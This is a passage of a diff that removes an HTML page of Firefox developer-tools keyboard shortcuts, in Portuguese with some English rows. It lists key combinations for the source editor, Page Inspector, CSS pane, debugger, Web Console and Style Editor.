- <th scope="row" style="width: 40%;"><strong>Comando</strong></th>
- <th scope="col"><strong>Windows</strong></th>
- <th scope="col"><strong>OS X</strong></th>
- <th scope="col"><strong>Linux</strong></th>
- </tr>
- <tr>
- <th scope="row">Increase font size</th>
- <td><kbd>Ctrl</kbd> + <kbd> + </kbd></td>
- <td><kbd>Cmd</kbd> + <kbd> + </kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd> + </kbd></td>
- </tr>
- <tr>
- <th scope="row">Decrease font size</th>
- <td><kbd>Ctrl</kbd> + <kbd>-</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>-</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>-</kbd></td>
- </tr>
- <tr>
- <th scope="row">Reset font size</th>
- <td><kbd>Ctrl</kbd> + <kbd>0</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>0</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>0</kbd></td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Editor_fonte">Editor fonte</h2>
-
-<div id="source-editor">
-<p>Esta tabela lista os atalhos predefinidos para o editor fonte.</p>
-
-<p>Nas secção das '<a href="/pt-PT/docs/Tools/Tools_Toolbox">Preferências do Editor'</a> das configurações das ferramentas de desenvolvimento, pode escolher para utilizar Vim, Emacs, ou combinações de teclas de Sublime Text.</p>
-
-<p>Para as selecionar, visite <code>about:config</code>, selecione a definição <code>devtools.editor.keymap</code>, e atribua "vim" ou "emacs", ou "sublime" para essa definição. Se fizer isso, as combinações selecionadas serão utilziadas para todas as ferramentas de desenvolvimento que utilziam o editor fonte. Precisa de reabrir o editor para que a alteração seja aplicada.</p>
-
-<p>A partir do Firefox 33, a preferência de combinação de teclas está exposta na secção de <a href="/pt-PT/docs/Tools/Tools_Toolbox">Preferências do Editor </a>das definições das ferramentas de desenvolvimento, e pode definir isso lá, em vez de <code>about:config</code>.</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <th scope="row" style="width: 40%;"><strong>Comando</strong></th>
- <th scope="col"><strong>Windows</strong></th>
- <th scope="col"><strong>OS X</strong></th>
- <th scope="col"><strong>Linux</strong></th>
- </tr>
- <tr>
- <th scope="row">Ir para a linha</th>
- <td><kbd>Ctrl</kbd> + <kbd>J</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>J</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>J</kbd></td>
- </tr>
- <tr>
- <th scope="row">Encontrar um ficheiro</th>
- <td><kbd>Ctrl</kbd> + <kbd>F</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>F</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>F</kbd></td>
- </tr>
- <tr>
- <th scope="row">Encontrar novamente</th>
- <td><kbd>Ctrl</kbd> + <kbd>G</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>G</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>G</kbd></td>
- </tr>
- <tr>
- <th scope="row">Selecionar tudo</th>
- <td><kbd>Ctrl</kbd> + <kbd>A</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>A</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>A</kbd></td>
- </tr>
- <tr>
- <th scope="row">Cortar</th>
- <td><kbd>Ctrl</kbd> + <kbd>X</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>X</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>X</kbd></td>
- </tr>
- <tr>
- <th scope="row">Copiar</th>
- <td><kbd>Ctrl</kbd> + <kbd>C</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>C</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>C</kbd></td>
- </tr>
- <tr>
- <th scope="row">Colar</th>
- <td><kbd>Ctrl</kbd> + <kbd>V</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>V</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>V</kbd></td>
- </tr>
- <tr>
- <th scope="row">Anular</th>
- <td><kbd>Ctrl</kbd> + <kbd>Z</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>Z</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Z</kbd></td>
- </tr>
- <tr>
- <th scope="row">Refazer</th>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Z</kbd> / <kbd>Ctrl</kbd> + <kbd>Y</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>Shift</kbd> + <kbd>Z</kbd> / <kbd>Cmd</kbd> + <kbd>Y</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Z</kbd> / <kbd>Ctrl</kbd> + <kbd>Y</kbd></td>
- </tr>
- <tr>
- <th scope="row">Indentar</th>
- <td><kbd>Tab</kbd></td>
- <td><kbd>Tab</kbd></td>
- <td><kbd>Tab</kbd></td>
- </tr>
- <tr>
- <th scope="row">Remover indentação</th>
- <td><kbd>Shift</kbd> + <kbd>Tab</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>Tab</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>Tab</kbd></td>
- </tr>
- <tr>
- <th scope="row">Mover linha(s) para cima</th>
- <td><kbd>Alt</kbd> + <kbd>Up</kbd></td>
- <td><kbd>Alt</kbd> + <kbd>Up</kbd></td>
- <td><kbd>Alt</kbd> + <kbd>Up</kbd></td>
- </tr>
- <tr>
- <th scope="row">Mover linha(s) para baixo</th>
- <td><kbd>Alt</kbd> + <kbd>Down</kbd></td>
- <td><kbd>Alt</kbd> + <kbd>Down</kbd></td>
- <td><kbd>Alt</kbd> + <kbd>Down</kbd></td>
- </tr>
- <tr>
- <th scope="row">Comentar/remover comentário linha(s)</th>
- <td><kbd>Ctrl</kbd> + <kbd>/</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>/</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>/</kbd></td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Inspetor_de_Página">Inspetor de Página</h2>
-
-<div id="page-inspector">
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <th scope="row" style="width: 40%;"><strong>Comando</strong></th>
- <th scope="col"><strong>Windows</strong></th>
- <th scope="col"><strong>macOS</strong></th>
- <th scope="col"><strong>Linux</strong></th>
- </tr>
- <tr>
- <th scope="row">Elemento de Inspeção</th>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>C</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>C</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>C</kbd></td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Selecionador_de_Nodo">Selecionador de Nodo</h3>
-
-<p>Estes atalhos funcionam enquanto o <a href="/pt-PT/docs/Tools/Page_Inspector/How_to/Selecionar_um_elemento#Com_o_selecionador_de_nodo">selecionador de nodo</a> estiver ativo.</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <th scope="row" style="width: 40%;"><strong>Comando</strong></th>
- <th scope="col"><strong>Windows</strong></th>
- <th scope="col"><strong>macOS</strong></th>
- <th scope="col"><strong>Linux</strong></th>
- </tr>
- <tr>
- <th scope="row">Select the element under the mouse and cancel picker mode</th>
- <td><kbd>Click</kbd></td>
- <td><kbd>Click</kbd></td>
- <td><kbd>Click</kbd></td>
- </tr>
- <tr>
- <th scope="row">Select the element under the mouse and stay in picker mode</th>
- <td><kbd>Shift</kbd>+<kbd>Click</kbd></td>
- <td><kbd>Shift</kbd>+<kbd>Click</kbd></td>
- <td><kbd>Shift</kbd>+<kbd>Click</kbd></td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Painel_HTML">Painel HTML</h3>
-
-<p>Estes atalhos funcionam enquanto estiver no <a href="/pt-PT/docs/Tools/Page_Inspector/How_to/Examinar_e_editar_HTML" title="/en-US/docs/Tools/Page_Inspector#HTML_pane">painel Inspetor HTML</a>.</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <th scope="row" style="width: 40%;"><strong>Comando</strong></th>
- <th scope="col"><strong>Windows</strong></th>
- <th scope="col"><strong>macOS</strong></th>
- <th scope="col"><strong>Linux</strong></th>
- </tr>
- <tr>
- <th scope="row">Delete the selected node</th>
- <td><kbd>Delete</kbd></td>
- <td><kbd>Delete</kbd></td>
- <td><kbd>Delete</kbd></td>
- </tr>
- <tr>
- <th scope="row">Undo delete of a node</th>
- <td><kbd>Ctrl</kbd> + <kbd>Z</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>Z</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Z</kbd></td>
- </tr>
- <tr>
- <th scope="row">Redo delete of a node</th>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Z</kbd> / <kbd>Ctrl</kbd> + <kbd>Y</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>Shift</kbd> + <kbd>Z</kbd> / <kbd>Cmd</kbd> + <kbd>Y</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Z</kbd> / <kbd>Ctrl</kbd> + <kbd>Y</kbd></td>
- </tr>
- <tr>
- <th scope="row">Move to next node (expanded nodes only)</th>
- <td><kbd>Down arrow</kbd></td>
- <td><kbd>Down arrow</kbd></td>
- <td><kbd>Down arrow</kbd></td>
- </tr>
- <tr>
- <th scope="row">Move to previous node</th>
- <td><kbd>Up arrow</kbd></td>
- <td><kbd>Up arrow</kbd></td>
- <td><kbd>Up arrow</kbd></td>
- </tr>
- <tr>
- <th scope="row">Expand currently selected node</th>
- <td><kbd>Right arrow</kbd></td>
- <td><kbd>Right arrow</kbd></td>
- <td><kbd>Right arrow</kbd></td>
- </tr>
- <tr>
- <th scope="row">Collapse currently selected node</th>
- <td><kbd>Right arrow</kbd></td>
- <td><kbd>Right arrow</kbd></td>
- <td><kbd>Right arrow</kbd></td>
- </tr>
- <tr>
- <th scope="row">Step forward through the attributes of a node</th>
- <td><kbd>Tab</kbd></td>
- <td><kbd>Tab</kbd></td>
- <td><kbd>Tab</kbd></td>
- </tr>
- <tr>
- <th scope="row">Step backward through the attributes of a node</th>
- <td><kbd>Shift</kbd> + <kbd>Tab</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>Tab</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>Tab</kbd></td>
- </tr>
- <tr>
- <th scope="row">Start editing the selected attribute</th>
- <td><kbd>Enter</kbd></td>
- <td><kbd>Return</kbd></td>
- <td><kbd>Enter</kbd></td>
- </tr>
- <tr>
- <th scope="row">Hide/show the selected node</th>
- <td><kbd>H</kbd></td>
- <td><kbd>H</kbd></td>
- <td><kbd>H</kbd></td>
- </tr>
- <tr>
- <th scope="row">Focus on the search box in the HTML pane</th>
- <td><kbd>Ctrl</kbd> + <kbd>F</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>F</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>F</kbd></td>
- </tr>
- <tr>
- <th scope="row">Edit as HTML</th>
- <td><kbd>F2</kbd></td>
- <td><kbd>F2</kbd></td>
- <td><kbd>F2</kbd></td>
- </tr>
- <tr>
- <th scope="row">Copy the selected node's outer HTML (new in Firefox 42)</th>
- <td><kbd>Ctrl</kbd> + <kbd>C</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>C</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>C</kbd></td>
- </tr>
- <tr>
- <th scope="row">Scroll the selected node into view (new in Firefox 44)</th>
- <td><kbd>S</kbd></td>
- <td><kbd>S</kbd></td>
- <td><kbd>S</kbd></td>
- </tr>
- <tr>
- <th scope="row">Find the next match in the markup, when searching is active</th>
- <td><kbd>Enter</kbd></td>
- <td><kbd>Return</kbd></td>
- <td><kbd>Enter</kbd></td>
- </tr>
- <tr>
- <th scope="row">Find the previous match in the markup, when searching is active</th>
- <td><kbd>Shift</kbd> + <kbd>Enter</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>Return</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>Enter</kbd></td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Barra_de_Breadcrumbs">Barra de <em>Breadcrumbs</em></h3>
-
-<p>Este atalhos funcionam quando a <a href="/pt-PT/docs/Tools/Page_Inspector/How_to/Examinar_e_editar_HTML#Breadcrumbs_de_HTML">barra de breadcrumbs</a> estiver focada.</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <th scope="row" style="width: 40%;"><strong>Comando</strong></th>
- <th scope="col"><strong>Windows</strong></th>
- <th scope="col"><strong>macOS</strong></th>
- <th scope="col"><strong>Linux</strong></th>
- </tr>
- <tr>
- <th scope="row">Move to the previous element in the breadcrumbs bar </th>
- <td><kbd>Left arrow</kbd></td>
- <td><kbd>Left arrow</kbd></td>
- <td><kbd>Left arrow</kbd></td>
- </tr>
- <tr>
- <th scope="row">Move to the next element in the breadcrumbs bar </th>
- <td><kbd>Right arrow</kbd></td>
- <td><kbd>Right arrow</kbd></td>
- <td><kbd>Right arrow</kbd></td>
- </tr>
- <tr>
- <th scope="row">Focus the <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#HTML_pane">HTML pane</a></th>
- <td><kbd>Shift</kbd> + <kbd>Tab</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>Tab</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>Tab</kbd></td>
- </tr>
- <tr>
- <th scope="row">Focus the <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#CSS_pane">CSS pane</a></th>
- <td><kbd>Tab</kbd></td>
- <td><kbd>Tab</kbd></td>
- <td><kbd>Tab</kbd></td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Painel_CSS">Painel CSS</h3>
-
-<p>Estes atalhos funcionam quando estiver no <a href="/pt-PT/docs/Tools/Page_Inspector/How_to/Examinar_e_editar_CSS" title="/en-US/docs/Tools/Page_Inspector#CSS_pane">painel de Inspetor CSS</a>.</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <th scope="row" style="width: 40%;"><strong>Comando</strong></th>
- <th scope="col"><strong>Windows</strong></th>
- <th scope="col"><strong>macOS</strong></th>
- <th scope="col"><strong>Linux</strong></th>
- </tr>
- <tr>
- <th scope="row">Focus on the search box in the CSS pane</th>
- <td><kbd>Ctrl</kbd> + <kbd>F</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>F</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>F</kbd></td>
- </tr>
- <tr>
- <th scope="row">Clear search box content (only when the search box is focused, and content has been entered)</th>
- <td><kbd>Esc</kbd></td>
- <td><kbd>Esc</kbd></td>
- <td><kbd>Esc</kbd></td>
- </tr>
- <tr>
- <th scope="row">Step forward through properties and values</th>
- <td><kbd>Tab</kbd></td>
- <td><kbd>Tab</kbd></td>
- <td><kbd>Tab</kbd></td>
- </tr>
- <tr>
- <th scope="row">Step backward through properties and values</th>
- <td><kbd>Shift</kbd> + <kbd>Tab</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>Tab</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>Tab</kbd></td>
- </tr>
- <tr>
- <th scope="row">Start editing property or value (Rules view only, when a property or value is selected, but not already being edited)</th>
- <td><kbd>Enter</kbd> or <kbd>Space</kbd></td>
- <td><kbd>Return</kbd> or <kbd>Space</kbd></td>
- <td><kbd>Enter</kbd> or <kbd>Space</kbd></td>
- </tr>
- <tr>
- <th scope="row">Cycle up and down through auto-complete suggestions (Rules view only, when a property or value is being edited)</th>
- <td><kbd>Up arrow</kbd> , <kbd>Down arrow</kbd></td>
- <td><kbd>Up arrow</kbd> , <kbd>Down arrow</kbd></td>
- <td><kbd>Up arrow</kbd> , <kbd>Down arrow</kbd></td>
- </tr>
- <tr>
- <th scope="row">Choose current auto-complete suggestion (Rules view only, when a property or value is being edited)</th>
- <td><kbd>Enter</kbd> or <kbd>Tab</kbd></td>
- <td><kbd>Return</kbd> or <kbd>Tab</kbd></td>
- <td><kbd>Enter</kbd> or <kbd>Tab</kbd></td>
- </tr>
- <tr>
- <th scope="row">Increment selected value by 1</th>
- <td><kbd>Up arrow</kbd></td>
- <td><kbd>Up arrow</kbd></td>
- <td><kbd>Up arrow</kbd></td>
- </tr>
- <tr>
- <th scope="row">Decrement selected value by 1</th>
- <td><kbd>Down arrow</kbd></td>
- <td><kbd>Down arrow</kbd></td>
- <td><kbd>Down arrow</kbd></td>
- </tr>
- <tr>
- <th scope="row">Increment selected value by 100</th>
- <td><kbd>Shift</kbd> + <kbd>Page Up</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>Page Up</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>Page Up</kbd></td>
- </tr>
- <tr>
- <th scope="row">Decrement selected value by 100</th>
- <td><kbd>Shift</kbd> + <kbd>Page Down</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>Page Down</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>Page Down</kbd></td>
- </tr>
- <tr>
- <th scope="row">Increment selected value by 10</th>
- <td><kbd>Shift</kbd> + <kbd>Up arrow</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>Up arrow</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>Up arrow</kbd></td>
- </tr>
- <tr>
- <th scope="row">Decrement selected value by 10</th>
- <td><kbd>Shift</kbd> + <kbd>Down arrow</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>Down arrow</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>Down arrow</kbd></td>
- </tr>
- <tr>
- <th scope="row">Increment selected value by 0.1</th>
- <td><kbd>Alt</kbd> + <kbd>Up arrow</kbd></td>
- <td><kbd>Opt</kbd> + <kbd>Up arrow</kbd></td>
- <td><kbd>Alt</kbd> + <kbd>Up arrow</kbd></td>
- </tr>
- <tr>
- <th scope="row">Decrement selected value by 0.1</th>
- <td><kbd>Alt</kbd> + <kbd>Down arrow</kbd></td>
- <td><kbd>Opt</kbd> + <kbd>Down arrow</kbd></td>
- <td><kbd>Alt</kbd> + <kbd>Down arrow</kbd></td>
- </tr>
- <tr>
- <th scope="row">Show/hide more information about current property (Computed view only, when a property is selected, new in Firefox 49)</th>
- <td><kbd>Enter</kbd> or <kbd>Space</kbd></td>
- <td><kbd>Return</kbd> or <kbd>Space</kbd></td>
- <td><kbd>Enter</kbd> or <kbd>Space</kbd></td>
- </tr>
- <tr>
- <th scope="row">Open MDN reference page about current property (Computed view only, when a property is selected, new in Firefox 49)</th>
- <td><kbd>F1</kbd></td>
- <td><kbd>F1</kbd></td>
- <td><kbd>F1</kbd></td>
- </tr>
- <tr>
- <th scope="row">Open current CSS file in Style Editor (Computed view only, when more information is shown for a property and a CSS file reference is focused, new in Firefox 49)</th>
- <td><kbd>Enter</kbd></td>
- <td><kbd>Return</kbd></td>
- <td><kbd>Enter</kbd></td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Depurador">Depurador</h2>
-
-<div id="debugger">
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <th scope="row" style="width: 40%;"><strong>Comando</strong></th>
- <th scope="col"><strong>Windows</strong></th>
- <th scope="col"><strong>macOS</strong></th>
- <th scope="col"><strong>Linux</strong></th>
- </tr>
- <tr>
- <th scope="row">Open the Debugger</th>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>S</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>S</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>S</kbd></td>
- </tr>
- <tr>
- <th scope="row">Search for a string in the current file</th>
- <td><kbd>Ctrl</kbd> + <kbd>F</kbd> </td>
- <td><kbd>Cmd</kbd> + <kbd>F</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>F</kbd></td>
- </tr>
- <tr>
- <th scope="row">Find next in the current file</th>
- <td><kbd>Ctrl</kbd> + <kbd>G</kbd> </td>
- <td><kbd>Cmd</kbd> + <kbd>G</kbd> </td>
- <td><kbd>Ctrl</kbd> + <kbd>G</kbd> </td>
- </tr>
- <tr>
- <th scope="row">Search for function definitions</th>
- <td><kbd>Ctrl</kbd> + <kbd>D</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>D</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>D</kbd></td>
- </tr>
- <tr>
- <th scope="row">Search for scripts by name</th>
- <td><kbd>Ctrl</kbd> + <kbd>P</kbd> </td>
- <td><kbd>Cmd</kbd> + <kbd>P</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>P</kbd></td>
- </tr>
- <tr>
- <th scope="row">Resume execution when at a breakpoint</th>
- <td><kbd>F8</kbd></td>
- <td><kbd>F8</kbd> <a href="#mac-function-key-note" title="#mac-function-key-note"><sup>1</sup></a></td>
- <td><kbd>F8</kbd></td>
- </tr>
- <tr>
- <th scope="row">Step over</th>
- <td><kbd>F10</kbd></td>
- <td><kbd>F10</kbd> <a href="#mac-function-key-note" title="#mac-function-key-note"><sup>1</sup></a></td>
- <td><kbd>F10</kbd></td>
- </tr>
- <tr>
- <th scope="row">Step into</th>
- <td><kbd>F11</kbd></td>
- <td><kbd>F11</kbd> <sup><a href="#mac-function-key-note" title="#mac-function-key-note">1</a></sup></td>
- <td><kbd>F11</kbd></td>
- </tr>
- <tr>
- <th scope="row">Step out</th>
- <td><kbd>Shift</kbd> + <kbd>F11</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>F11</kbd> <sup><a href="#mac-function-key-note" title="#mac-function-key-note">1</a></sup></td>
- <td><kbd>Shift</kbd> + <kbd>F11</kbd></td>
- </tr>
- </tbody>
-</table>
-
-<p><a name="mac-function-key-note">1. By default, on some Macs, the function key is remapped to use a special feature: for example, to change the screen brightness or the volume. See this </a><a href="http://support.apple.com/kb/HT3399" title="http://support.apple.com/kb/HT3399">guide to using these keys as standard function keys</a>. To use a remapped key as a standard function key, hold the Function key down as well (so to open the Profiler, use <kbd>Shift</kbd> + <kbd>Function</kbd> + <kbd>F5</kbd>).</p>
-
-<p><strong>Note:</strong> Before Firefox 66, the combination <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>S</kbd> on Windows and Linux or <kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>S</kbd> on macOS would open/close the Debugger. From Firefox 66 and later, this is no longer the case.</p>
-</div>
-
-<h2 id="Consola_da_Web">Consola da Web</h2>
-
-<div id="old-debugger">
-<div id="web-console">
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <th scope="row" style="width: 40%;"><strong>Comando</strong></th>
- <th scope="col"><strong>Windows</strong></th>
- <th scope="col"><strong>macOS</strong></th>
- <th scope="col"><strong>Linux</strong></th>
- </tr>
- <tr>
- <th scope="row">Open the Web Console</th>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>K</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>K</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>K</kbd></td>
- </tr>
- <tr>
- <th scope="row">Search in the message display pane</th>
- <td><kbd>Ctrl</kbd> + <kbd>F</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>F</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>F</kbd></td>
- </tr>
- <tr>
- <th scope="row">Clear the <a href="/en-US/docs/Tools/Web_Console#Inspecting_objects" title="/en-US/docs/Tools/Web_Console#Inspecting_objects">object inspector pane</a></th>
- <td><kbd>Escape</kbd></td>
- <td><kbd>Escape</kbd></td>
- <td><kbd>Escape</kbd></td>
- </tr>
- <tr>
- <th scope="row">Focus on the command line</th>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>K</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>K</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>K</kbd></td>
- </tr>
- <tr>
- <th scope="row">Clear output</th>
- <td>
- <p><kbd>Ctrl</kbd> + <kbd>L</kbd></p>
-
- <p>From Firefox 44:</p>
-
- <p><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>L</kbd></p>
- </td>
- <td><kbd>Ctrl</kbd> + <kbd>L</kbd></td>
- <td>
- <p><kbd>Ctrl</kbd> + <kbd>L</kbd></p>
-
- <p>From Firefox 44:</p>
-
- <p><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>L</kbd></p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Intérprete_da_linha_de_comando">Intérprete da linha de comando</h3>
-
-<p>Estes atalhos aplicam-se quando estiver no <a href="/pt-PT/docs/Tools/Consola_da_Web#IIntérprete_da_linha_de_comando" title="/en-US/docs/Tools/Web_Console#The_command_line_interpreter">intérprete da linha de comando</a>.</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <th scope="row" style="width: 40%;">Comando</th>
- <th scope="col">Windows</th>
- <th scope="col">macOS</th>
- <th scope="col">Linux</th>
- </tr>
- <tr>
- <th scope="row">Scroll to start of console output (only if the command line is empty)</th>
- <td><kbd>Home</kbd></td>
- <td><kbd>Home</kbd></td>
- <td><kbd>Home</kbd></td>
- </tr>
- <tr>
- <th scope="row">Scroll to end of console output (only if the command line is empty)</th>
- <td><kbd>End</kbd></td>
- <td><kbd>End</kbd></td>
- <td><kbd>End</kbd></td>
- </tr>
- <tr>
- <th scope="row">Page up through console output</th>
- <td><kbd>Page up</kbd></td>
- <td><kbd>Page up</kbd></td>
- <td><kbd>Page up</kbd></td>
- </tr>
- <tr>
- <th scope="row">Page down through console output</th>
- <td><kbd>Page down</kbd></td>
- <td><kbd>Page down</kbd></td>
- <td><kbd>Page down</kbd></td>
- </tr>
- <tr>
- <th scope="row">Go backward through <a href="/en-US/docs/Tools/Web_Console#Command_history" title="/en-US/docs/Tools/Web_Console#Command_history">command history</a></th>
- <td><kbd>Up arrow</kbd></td>
- <td><kbd>Up arrow</kbd></td>
- <td><kbd>Up arrow</kbd></td>
- </tr>
- <tr>
- <th scope="row">Go forward through command history</th>
- <td><kbd>Down arrow</kbd></td>
- <td><kbd>Down arrow</kbd></td>
- <td><kbd>Down arrow</kbd></td>
- </tr>
- <tr>
- <th scope="row">Move to the beginning of the line</th>
- <td><kbd>Home</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>A</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>A</kbd></td>
- </tr>
- <tr>
- <th scope="row">Move to the end of the line</th>
- <td><kbd>End</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>E</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>E</kbd></td>
- </tr>
- <tr>
- <th scope="row">Execute the current expression</th>
- <td><kbd>Enter</kbd></td>
- <td><kbd>Return</kbd></td>
- <td><kbd>Enter</kbd></td>
- </tr>
- <tr>
- <th scope="row">Add a new line, for entering multiline expressions</th>
- <td><kbd>Shift</kbd> + <kbd>Enter</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>Return</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>Enter</kbd></td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Janela_de_Completar_Automaticamente">Janela de 'Completar Automaticamente'</h3>
-
-<p>Este atalhos aplicam-se enquanto a <a href="/pt-PT/docs/Tools/Consola_da_Web">janela de completar automaticamente</a> estiver aberta:</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <th scope="row" style="width: 40%;">Comando</th>
- <th scope="col">Windows</th>
- <th scope="col">macOS</th>
- <th scope="col">Linux</th>
- </tr>
- <tr>
- <th scope="row">Choose the current autocomplete suggestion</th>
- <td><kbd>Tab</kbd></td>
- <td><kbd>Tab</kbd></td>
- <td><kbd>Tab</kbd></td>
- </tr>
- <tr>
- <th scope="row">Cancel the autocomplete popup</th>
- <td><kbd>Escape</kbd></td>
- <td><kbd>Escape</kbd></td>
- <td><kbd>Escape</kbd></td>
- </tr>
- <tr>
- <th scope="row">Move to the previous autocomplete suggestion</th>
- <td><kbd>Up arrow</kbd></td>
- <td><kbd>Up arrow</kbd></td>
- <td><kbd>Up arrow</kbd></td>
- </tr>
- <tr>
- <th scope="row">Move to the next autocomplete suggestion</th>
- <td><kbd>Down arrow</kbd></td>
- <td><kbd>Down arrow</kbd></td>
- <td><kbd>Down arrow</kbd></td>
- </tr>
- <tr>
- <th scope="row">Page up through autocomplete suggestions</th>
- <td><kbd>Page up</kbd></td>
- <td><kbd>Page up</kbd></td>
- <td><kbd>Page up</kbd></td>
- </tr>
- <tr>
- <th scope="row">Page down through autocomplete suggestions</th>
- <td><kbd>Page down</kbd></td>
- <td><kbd>Page down</kbd></td>
- <td><kbd>Page down</kbd></td>
- </tr>
- <tr>
- <th scope="row">Scroll to start of autocomplete suggestions</th>
- <td><kbd>Home</kbd></td>
- <td><kbd>Home</kbd></td>
- <td><kbd>Home</kbd></td>
- </tr>
- <tr>
- <th scope="row">Scroll to end of autocomplete suggestions</th>
- <td><kbd>End</kbd></td>
- <td><kbd>End</kbd></td>
- <td><kbd>End</kbd></td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Editor_de_Estilo">Editor de Estilo</h2>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <th scope="row" style="width: 40%;">Comando</th>
- <th scope="col">Windows</th>
- <th scope="col">macOS</th>
- <th scope="col">Linux</th>
- </tr>
- <tr>
- <th scope="row">Abrir o Editor de Estilo</th>
- <td><kbd>Shift</kbd> + <kbd>F7</kbd></td>
